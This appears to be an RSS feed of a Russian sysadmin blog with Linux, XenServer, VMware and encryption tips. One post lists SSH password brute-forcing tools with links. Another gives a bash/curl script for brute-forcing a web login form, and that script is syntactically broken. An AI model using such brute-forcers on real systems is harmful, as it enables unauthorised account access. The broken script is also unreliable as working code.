<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>root@fox:~# &#187; Нестандартности</title>
	<atom:link href="http://rootfox.com/blog/archives/category/hacks/feed" rel="self" type="application/rss+xml" />
	<link>http://rootfox.com/blog</link>
	<description>Администрирование, IT Security, Безопасность, Услуги</description>
	<lastBuildDate>Wed, 07 Apr 2010 10:09:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Почему после обновления Debian или другого дистрибутива может падать софт</title>
		<link>http://rootfox.com/blog/archives/228</link>
		<comments>http://rootfox.com/blog/archives/228#comments</comments>
		<pubDate>Sat, 14 Nov 2009 10:53:47 +0000</pubDate>
		<dc:creator>468</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Нестандартности]]></category>
		<category><![CDATA[Разное]]></category>
		<category><![CDATA[libgtk-x11-2.0.so.0 libglib nautilus undefined symbol: g_mapped_file_unref g_mount_is_shadowed]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/archives/228</guid>
		<description><![CDATA[Обратил внимание, что у меня часто падает мой любимый дебиан (тестинг) после апдейтов. Например после монтирования cd вручную (автомат перестал работать) пропадают иконки рабочего стола и все картинка начинает мигать и дергаться&#8230;
С трудом понял что дело в nautilus, запуская который (когда примонтирован cd) я через пару секунд получал ошибку undefined symbol g_mount_is_shadowed.
Ранее подобное наблюдалось когда [...]]]></description>
			<content:encoded><![CDATA[<p>Обратил внимание, что у меня часто падает мой любимый дебиан (тестинг) после апдейтов. Например после монтирования cd вручную (автомат перестал работать) пропадают иконки рабочего стола и все картинка начинает мигать и дергаться&#8230;</p>
<p>С трудом понял что дело в nautilus, запуская который (когда примонтирован cd) я через пару секунд получал ошибку undefined symbol g_mount_is_shadowed.</p>
<p>Ранее подобное наблюдалось когда после очередного апдейта &#8220;вешался&#8221; gdm и было невозможно зайти. Наконец решил разобраться.</p>
<p>Секрет оказался прост, я в свое время ставил некоторый софт отдельно от репозитариев (в т.ч. nessus из исходников, скайп из внешнего пакета). Коварные создатели тех пакетов прописали некоторые файлы в /usr/local/lib &#8211; в том числе так называемый glib</p>
<p>Соответственно в /lib у меня была новая версия glib, но некоторые приложения при старте сначала проверяли папку /usr/local/lib в которой оставались ошметки старых либов, о которых пакетный менеджер естесственно не знал. Поэтому с новыми приложениями использовались старые либы и соответственно приложения не работали.</p>
<p>А находится такое достаточно просто;<br />
which nautilus<br />
ldd /usr/bin/nautilus | grep /usr/local</p>
<p>после этого я перенес все либы из /usr/local в другое место (а можно было и грохнуть) и nautilus завелся, диски сами примонтировались и все заработало.</p>
<p>Кстати интересно, по идее это наверное типовой сценарий проблем, при установке софта из внешних источников. По идее маинтернеры дистрибутивов могли бы после установки софта, проверять что либы для нового софта используются из репозитариев а не локальные версии.. Хотя наверное это не юникс-вей, когда лишних действий не производится.. Потому что определенный смысл в том чтобы при апдейте продолжать использовать локальные либы тоже есть&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/228/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>XenServer без XenCenter</title>
		<link>http://rootfox.com/blog/archives/168</link>
		<comments>http://rootfox.com/blog/archives/168#comments</comments>
		<pubDate>Sat, 19 Sep 2009 22:43:14 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Виртуальные машины]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=168</guid>
		<description><![CDATA[Случилось так что не было под рукой виндовой машины с установленым на борту XenCenter, который как известно запускается только на поделии ребят из Редмонда.
А у меня на одном таком сервере виртуализируется один хост, который по сети ни как не должен быть доступен, кроме как через консоль &#8211; для пущей секьюрности. Надо было срочно данных с [...]]]></description>
			<content:encoded><![CDATA[<p>Случилось так что не было под рукой виндовой машины с установленым на борту XenCenter, который как известно запускается только на поделии ребят из Редмонда.</p>
<p>А у меня на одном таком сервере виртуализируется один хост, который по сети ни как не должен быть доступен, кроме как через консоль &#8211; для пущей секьюрности. Надо было срочно данных с него выгрузить, а никак не достучаться.<br />
Погоревал я немного, затем зашел на XenServer по ssh, посмотрел список юзаемых портов и узрел:</p>
<pre><code>
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 127.0.0.1:5900              0.0.0.0:*                   LISTEN      5394/vncterm
tcp        0      0 127.0.0.1:5901              0.0.0.0:*                   LISTEN      21607/qemu.4
tcp        0      0 127.0.0.1:5902              0.0.0.0:*                   LISTEN      30538/qemu.14
</code></pre>
<p>Осталось только подключиться к этому серверу VNC который на localhost живет, и видимо он же и занимается подачей картинки в XenCenter.</p>
<p>Подключался используя ssh-туннель:</p>
<pre><code>ssh -f -L 127.0.0.1:9999:127.0.0.1:5902 user@192.168.0.1</code></pre>
<p>(не работает в последних версиях ssh, тогда можно без -f и пока вы залогинены туннель будет)<br />
Где:<br />
127.0.0.1:9999 &#8211; биндю локальный порт<br />
127.0.0.1:5902 &#8211; говорю куда пробрасываем локальный порт 9999<br />
user@192.168.0.1 &#8211; XenServer</p>
<p>А затем подключаюсь стандартным линуксовым vncviewer:</p>
<pre><code>vncviewer 127.0.0.1:9999</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/168/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Шифрование дисков в Debian Linux</title>
		<link>http://rootfox.com/blog/archives/121</link>
		<comments>http://rootfox.com/blog/archives/121#comments</comments>
		<pubDate>Sat, 16 May 2009 23:48:55 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Инструмент аудитора]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=121</guid>
		<description><![CDATA[В последнее время начал активно использовать на служебном ноутбуке Linux Debian 5 версии. Удобно и поэкспериментировать иногда, и для работы достаточно хорошо подходит &#8211; Gnome, Office 2007 запускается под wine, jdk для Cisco ASDM, VMWare Workstation и много другого необходимого софта.
Так как ноутбук вещь такая что украсть ее не так сложно как настольный ПК, озаботился [...]]]></description>
			<content:encoded><![CDATA[<p>В последнее время начал активно использовать на служебном ноутбуке Linux Debian 5 версии. Удобно и поэкспериментировать иногда, и для работы достаточно хорошо подходит &#8211; Gnome, Office 2007 запускается под wine, jdk для Cisco ASDM, VMWare Workstation и много другого необходимого софта.</p>
<p>Так как ноутбук вещь такая что украсть ее не так сложно как настольный ПК, озаботился я шифрованием жесткого диска, так как куча приватной информации хранится на ноутбуке &#8211; приватные ключи для доступа к корпоративной сети, служебная переписка, личная переписка и мало ли еще какой приватной информации которую очень не хотелось бы отдавать в чужие руки. Приступим.</p>
<p>Шаг 1.<br />
Для начала необходимо установить ПО для обеспечения возможности шифрования:<br />
<code><br />
apt-get install cryptsetup<br />
apt-get install mdadm<br />
apt-get install lvm2<br />
</code> </p>
<p>В ядре должна быть включена поддержка LVM &#8211; в ядре из дистрибутива дело обстоит именно так.<br />
Моя таблица разделов выглядит так:<br />
/dev/sda1   *           1          26      204800    7  HPFS/NTFS<br />
/dev/sda2              26       10077    80737678+  83  Linux<br />
/dev/sda3           10078       19457    75344850   83  Linux<br />
<span id="more-121"></span><br />
/dev/sda3 &#8211; мой корневой раздел, его я шифровать небуду, ни к чему, поэтому я зашифрую /dev/sda2 и буду монтировать как /home. Т.е. шифроваться будут пользовательские данные а все остальное &#8211; нет, ноутбук все-таки, и тратить в дороге батарею понапрасну на мой взгляд излишество. Да и за производительность тоже хочется побороться &#8211; все таки шифрование хоть и незначительно но снижает скорость записи/чтения на жесткий диск.</p>
<p>Шаг 2.<br />
Зашифруем намеченое, файловую систему (ФС):<br />
<code>cryptsetup luksFormat /dev/sda2</code><br />
И команда выполнится с ошибкой. Не знаю почему, но в Debian по-умолчанию нет команды /sbin/udevsettle.<br />
Поэтому делаем симлинк и выполняем команду:<br />
<code>ln -s /sbin/udevadm /sbin/udevsettle<br />
cryptsetup luksFormat /dev/sda2</p>
<p>WARNING!<br />
========<br />
This will overwrite data on /dev/sda2 irrevocably.</p>
<p>Are you sure? (Type uppercase yes):<br />
</code></p>
<p>Система прости набрать в верхнем регистре слово YES. Набираем и создаем.<br />
Далее, проверим, как и что создалось.<br />
<code><br />
cryptsetup luksDump /dev/sda2<br />
LUKS header information for /dev/sda2</p>
<p>Version:       	1<br />
Cipher name:   	aes<br />
Cipher mode:   	cbc-essiv:sha256<br />
Hash spec:     	sha1<br />
Payload offset:	1032<br />
MK bits:       	128<br />
MK digest:     	10 77 b5 0a 9a 92 d2 e1 73 5f c8 49 ad e0 f9 4c 8d d5 38 8a<br />
MK salt:       	08 9b 01 2e 0a f3 f0 12 22 69 3e 0b 0e cd 8f 58<br />
               	aa a2 ce bf 5a c8 bb b1 97 e2 fc 2f da d6 93 bb<br />
MK iterations: 	10<br />
UUID:          	776317fc-a9b9-454e-8d8f-f9e168e0ad9a<br />
</code></p>
<p>Копируем куда-либо UUID: 776317fc-a9b9-454e-8d8f-f9e168e0ad9a, он нам еще пригодится.</p>
<p>Подключаем зашифрованый раздел и создаем на нем ФС:<br />
<code>cryptsetup luksOpen /dev/sda2 luks<br />
Enter LUKS passphrase:<br />
   key slot 0 unlocked.<br />
   Command successful.<br />
</code><br />
Там где появляется запрос &#8220;Enter LUKS passphrase:&#8221; вводим пароль который воодили при создании зашифрованого раздела.<br />
Создаем ФС:<br />
<code><br />
mke2fs -j /dev/mapper/luks<br />
</code><br />
Правим конфигурационные файлы, для того что бы при загрузке системы зашифрованый раздел подключался автоматически и спрашивал пароль.<br />
<code>nano /etc/crypttab<br />
Добавляем строчку типа:<br />
luks /dev/disk/by-uuid/776317fc-a9b9-454e-8d8f-f9e168e0ad9a none luks<br />
где 776317fc-a9b9-454e-8d8f-f9e168e0ad9a - ваш UUID, который я рекомендовал запомнить чуть выше по тексту.<br />
</code><br />
<code>nano /etc/fstab<br />
Добавляем строчку<br />
/dev/mapper/luks /home ext3  defaults 0 0</code><br />
Указываем что монтируем раздел в /home</p>
<p>Осталось примонтировать этот раздел во временную точку, убедится что работает и можно переносить данные и перезагружаться:<br />
/etc/init.d/cryptdisks start<br />
mount /dev/mapper/luks /mnt</p>
<p>После перезагрузки система спросит пароль на этапе монтирования дисков и если введенный пароль окажется правильным то будет доступна домашняя директория. </p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/121/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SSH Bruteforce tools</title>
		<link>http://rootfox.com/blog/archives/108</link>
		<comments>http://rootfox.com/blog/archives/108#comments</comments>
		<pubDate>Thu, 07 May 2009 22:15:19 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Инструмент аудитора]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=108</guid>
		<description><![CDATA[Небольшая подборка наиболее популярного ПО для подбора паролей к ssh аккаунтам:
1. SSH Brute Forcer &#8211; UNIX/Linux утилита в виде shell-скрипта
http://www.securiteam.com/tools/5QP0L2K60E.html
2. THC-Hydra &#8211; Наиболее быстрый брутфорсер который умеет брутать очень многие популярные сервисы
http://freeworld.thc.org/thc-hydra/
3. SSHatter &#8211; Перловый скрипт
http://www.madirish.net/?article=183
4. SSHBrute &#8211; Скрипт на языке Python
http://www.darkc0de.com/bruteforce/sshbrute.py
Практически, эффективность атак методом перебора не самая эффективная.
Но статистика, вещь упрямая, показывает следующее:
1) как [...]]]></description>
			<content:encoded><![CDATA[<p>Небольшая подборка наиболее популярного ПО для подбора паролей к ssh аккаунтам:</p>
<p>1. SSH Brute Forcer &#8211; UNIX/Linux утилита в виде shell-скрипта<br />
http://www.securiteam.com/tools/5QP0L2K60E.html</p>
<p>2. THC-Hydra &#8211; Наиболее быстрый брутфорсер который умеет брутать очень многие популярные сервисы<br />
http://freeworld.thc.org/thc-hydra/</p>
<p>3. SSHatter &#8211; Перловый скрипт<br />
http://www.madirish.net/?article=183</p>
<p>4. SSHBrute &#8211; Скрипт на языке Python<br />
http://www.darkc0de.com/bruteforce/sshbrute.py</p>
<p>Практически, эффективность атак методом перебора не самая эффективная.<br />
Но статистика, вещь упрямая, показывает следующее:<br />
1) как минимум 5 процентов пользователей выбирают пароль находящийся в списке &#8220;100 самых популярных&#8221;<br />
2)из пункт 1, следует, что если в системе есть 25 пользователей, то можно рассчитать что эффективность атаки на систему составит: 1-(1-0.05)^25 = 0.72 т.е. 72%.;<br />
3) или, например, если в системе 60 пользователей, то эффективность &#8211; 1-(1-0.05)^60 = 0.95 т.е. 95%.</p>
<p>Что говорит о том, что чем больше участников системы, тем более она уязвима.</p>
<p>В любом случае метод авторизации по паролю морально устарел, наступает черед методам двухфакторной авторизации взять свое.<br />
Например в SSH можно использовать авторизацию по сертификату с паролем, в WWW и Mail-системах можно использовать авторизацию по сертификату и т.д.<br />
Конечно пока что технически это возможно далеко не везде, но если вы используете парольную авторизацию и отвечаете за систему &#8211; соблюдайте парольную политику, проводите аудит паролей пользователей (например утилитой JohnTheRipper или CAIN), создавайте правила.  </p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/108/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Подключение внешнего диска к виртуальной машине на XenServer</title>
		<link>http://rootfox.com/blog/archives/104</link>
		<comments>http://rootfox.com/blog/archives/104#comments</comments>
		<pubDate>Mon, 04 May 2009 14:37:23 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Виртуальные машины]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=104</guid>
		<description><![CDATA[XenServer по умолчанию не имеет возможности подключить внешний HDD (например IDE) к виртуальной машине с сохранением данных. Авторами XenServer предполагается что подключая дополнительный жесткий диск вы будете инициализировать его посредством LVM, а в виртуальных машинах использовать виртуальные диски находящиеся в хранилище. 
Мне же потребовалось добавить жесткий диск что бы использовать данные с него в виртуальной [...]]]></description>
			<content:encoded><![CDATA[<p>XenServer по умолчанию не имеет возможности подключить внешний HDD (например IDE) к виртуальной машине с сохранением данных. Авторами XenServer предполагается что подключая дополнительный жесткий диск вы будете инициализировать его посредством LVM, а в виртуальных машинах использовать виртуальные диски находящиеся в хранилище. </p>
<p>Мне же потребовалось добавить жесткий диск что бы использовать данные с него в виртуальной машине:<br />
1. Добавляем в /etc/udev/rules.d/50-udev.rules:<br />
<code><br />
ACTION=="add", KERNEL=="hda", SYMLINK+="xapi/block/%k", RUN+="/bin/sh -c '/opt/xensource/libexec/local-device-change %k 2>&#038;1 >/dev/null&#038;'"<br />
ACTION=="remove", KERNEL=="hda", RUN+="/bin/sh -c '/opt/xensource/libexec/local-device-change %k 2>&#038;1 >/dev/null&#038;'"<br />
</code></p>
<p>Немного поясню:<br />
KERNEL==&#8221;hda&#8221; &#8211; hda это мой жесткий диск на интерфейсе IDE который я подключаю (узнать как видится ваш можно просмотрев вывод dmesg)<br />
ACTION &#8211; действие, при подключении и отключении устройства.<br />
xapi/block &#8211; структура каталогов в /dev в которых XenServer ищет сменные устройства.<br />
2. Перезагружаем и входим в XenCenter, там добавляем как Removable Storage к необходимой виртуальной машине.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/104/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Подключение к web-камере через Mplayer</title>
		<link>http://rootfox.com/blog/archives/101</link>
		<comments>http://rootfox.com/blog/archives/101#comments</comments>
		<pubDate>Fri, 01 May 2009 03:59:32 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=101</guid>
		<description><![CDATA[1. Убеждаемся что в ядре включена поддержка WEB камеры и v4l2, что web-камера работает.
2. Ставим из репозитариев Mplayer и mencoder.
3.Тестируем:
 mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0 
4. Пишем видео:
mencoder tv:// -tv driver=v4l2:width=:height=:device=/dev/video0 -nosound -ovc lavc -o VideoFile.avi
5. Смотрим man mencoder, удивляемся количеству опций и изучаем.
]]></description>
			<content:encoded><![CDATA[<p>1. Убеждаемся что в ядре включена поддержка WEB камеры и v4l2, что web-камера работает.</p>
<p>2. Ставим из репозитариев Mplayer и mencoder.</p>
<p>3.Тестируем:<br />
<code> mplayer tv:// -tv driver=v4l2:width=352:height=288:device=/dev/video0 </code></p>
<p>4. Пишем видео:<br />
<code>mencoder tv:// -tv driver=v4l2:width=:height=:device=/dev/video0 -nosound -ovc lavc -o VideoFile.avi</code></p>
<p>5. Смотрим man mencoder, удивляемся количеству опций и изучаем.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/101/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bash-скрипт для брута web-авторизации методом post</title>
		<link>http://rootfox.com/blog/archives/76</link>
		<comments>http://rootfox.com/blog/archives/76#comments</comments>
		<pubDate>Sun, 12 Apr 2009 12:26:33 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Безопасность вебсайтов]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=76</guid>
		<description><![CDATA[Авторизация производится методом POST после успешной авторизации сервер меняет куки.
Условия заданы &#8211; приступим:

#!/bin/sh /*стандартный заголовок*/
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей
if [ -z $1 ]; then
        echo -e "\n\t Использование: $0 password file"
        exit 1;
fi
PASSWORDS='/bin/cat $1'
USER=admin
# если [...]]]></description>
			<content:encoded><![CDATA[<p>Авторизация производится методом POST после успешной авторизации сервер меняет куки.<br />
Условия заданы &#8211; приступим:</p>
<p><code><br />
#!/bin/sh /*стандартный заголовок*/<br />
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей<br />
if [ -z $1 ]; then<br />
        echo -e "\n\t Использование: $0 password file"<br />
        exit 1;<br />
fi<br />
PASSWORDS='/bin/cat $1'<br />
USER=admin<br />
# если требуется кука<br />
COOKIE1="blabla=blablabla;" /*измените на то что вам необходимо*/<br />
CMD="/usr/bin/curl \<br />
    -b $COOKIE1 \<br />
    -d user=$USER \<br />
    -c cookies.txt \  /*а сюда упадут куки после удачной авторизации*/<br />
    --url http://localhost/login.php" /*путь к файлу паролей*/<br />
for PASS in $PASSWORDS; do<br />
    # формируем необходимые заголовки<br />
    '$CMD \<br />
        -H 'User-Agent: Mozilla/4.0' \<br />
        -H 'Host: localhost' \<br />
        -d passwd=$PASS'<br />
    # проверим не угадан ли пароль<br />
    RES='grep -v $COOKIE cookies.txt'<br />
    if [ -n '$RES' ]; then<br />
        echo -e "found $RES with $USER : $PASS\n";<br />
        exit 0;<br />
    fi<br />
done<br />
 </code><br />
Как то вот так..</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/76/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>VMWare в Linux &#8211; проблема с клавиатурой</title>
		<link>http://rootfox.com/blog/archives/68</link>
		<comments>http://rootfox.com/blog/archives/68#comments</comments>
		<pubDate>Wed, 01 Apr 2009 22:44:55 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Виртуальные машины]]></category>
		<category><![CDATA[Нестандартности]]></category>
		<category><![CDATA[Виртуализация]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=68</guid>
		<description><![CDATA[Столкнулся после установки VMWare на дистрибутиве Fedora 10 с проблемой &#8211; в гостевых машинах клавиатура работала совсем не так как надо. Нажимал кнопку Up &#8211; срабатывало как Alt+F2 и тому подобные неприятные вещи.
Проблема решилась добавлением в /etc/vmware/config строчки:
xkeymap.nokeycodeMap = true 
или эту же строчку можно добавить в ~/.vmware/config
Успехов! 
]]></description>
			<content:encoded><![CDATA[<p>Столкнулся после установки VMWare на дистрибутиве Fedora 10 с проблемой &#8211; в гостевых машинах клавиатура работала совсем не так как надо. Нажимал кнопку Up &#8211; срабатывало как Alt+F2 и тому подобные неприятные вещи.<br />
Проблема решилась добавлением в /etc/vmware/config строчки:<br />
<code>xkeymap.nokeycodeMap = true </code><br />
или эту же строчку можно добавить в ~/.vmware/config</p>
<p>Успехов! </p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/68/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux 2.6.29 и VMWare 6.5.1 &#8211; проблема модулей</title>
		<link>http://rootfox.com/blog/archives/63</link>
		<comments>http://rootfox.com/blog/archives/63#comments</comments>
		<pubDate>Wed, 01 Apr 2009 03:23:55 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Виртуальные машины]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=63</guid>
		<description><![CDATA[После установки свежего ядра Linux 2.6.29 перестала заводиться VMWare &#8211; все падало на этапе сборки модулей. Немного погуглив проблема была решена:
Качаем неофициальный патч: http://rootfox.com/downloads/vmware-modules-2.6.29.patch
Кладем его в /usr/lib/vmware/modules/source/
Там же распаковываем все присутствующие tar-архивы.
Применяем патч: &#8220;patch -p1 -i vmware-modules-2.6.29.patch&#8221;
Запаковываем все, что бы выглядело как было:
&#8220;tar -cf vmblock.tar vmblock-only/
tar -cf vmci.tar vmci-only/
tar -cf vmmon.tar vmmon-only/
tar -cf vmnet.tar vmnet-only/
tar [...]]]></description>
			<content:encoded><![CDATA[<p>После установки свежего ядра Linux 2.6.29 перестала заводиться VMWare &#8211; все падало на этапе сборки модулей. Немного погуглив проблема была решена:</p>
<p>Качаем неофициальный патч: <a href="http://rootfox.com/downloads/vmware-modules-2.6.29.patch">http://rootfox.com/downloads/vmware-modules-2.6.29.patch</a></p>
<p>Кладем его в /usr/lib/vmware/modules/source/</p>
<p>Там же распаковываем все присутствующие tar-архивы.</p>
<p>Применяем патч: &#8220;<code>patch -p1 -i vmware-modules-2.6.29.patch</code>&#8221;</p>
<p>Запаковываем все, что бы выглядело как было:</p>
<p>&#8220;<code>tar -cf vmblock.tar vmblock-only/</code></p>
<p><code>tar -cf vmci.tar vmci-only/</code></p>
<p><code>tar -cf vmmon.tar vmmon-only/</code></p>
<p><code>tar -cf vmnet.tar vmnet-only/</code></p>
<p><code>tar -cf vsock.tar vsock-only/</code></p>
<p><code>tar -cf vmppuser.tar vmppuser-only/</code>&#8220;</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/63/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Несколько удобств с tar и ssh</title>
		<link>http://rootfox.com/blog/archives/57</link>
		<comments>http://rootfox.com/blog/archives/57#comments</comments>
		<pubDate>Mon, 16 Mar 2009 17:59:49 +0000</pubDate>
		<dc:creator>netf0x</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Нестандартности]]></category>

		<guid isPermaLink="false">http://rootfox.com/blog/?p=57</guid>
		<description><![CDATA[Резервируем:
1) С локального на удаленный хост:
tar zcvf - /etc &#124; ssh user@server "cat &#62; /backup.tgz"
2) С удаленного на локальный:
ssh user@host "tar zcvf - /etc" &#62; etc.tgz 
Восстанавливаем:
1) Локально c удаленного архива:
ssh user@host "cat etc.tgz" &#124; tar zxvf - 
2)Удаленно с локального архива:
cat etc.tgz &#124; ssh user@host "tar xzvf -"
Дальнейшие вариации я думаю можно без труда [...]]]></description>
			<content:encoded><![CDATA[<p>Резервируем:<br />
1) С локального на удаленный хост:<br />
<code>tar zcvf - /etc | ssh user@server "cat &gt; /backup.tgz"</code><br />
2) С удаленного на локальный:<br />
<code>ssh user@host "tar zcvf - /etc" &gt; etc.tgz </code><br />
Восстанавливаем:<br />
1) Локально c удаленного архива:<br />
<code>ssh user@host "cat etc.tgz" | tar zxvf - </code><br />
2)Удаленно с локального архива:<br />
<code>cat etc.tgz | ssh user@host "tar xzvf -"</code></p>
<p>Дальнейшие вариации я думаю можно без труда додумать.</p>
<p>А еще можно исполнять удаленные X приложения  То есть приложения под иксы.</p>
<p>rootfox:~# ssh -X netf0x@сервер<br />
netf0x:~$ gimp</p>
<p>и запустится удаленное окно GIMP под нашими иксами.</p>
]]></content:encoded>
			<wfw:commentRss>http://rootfox.com/blog/archives/57/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
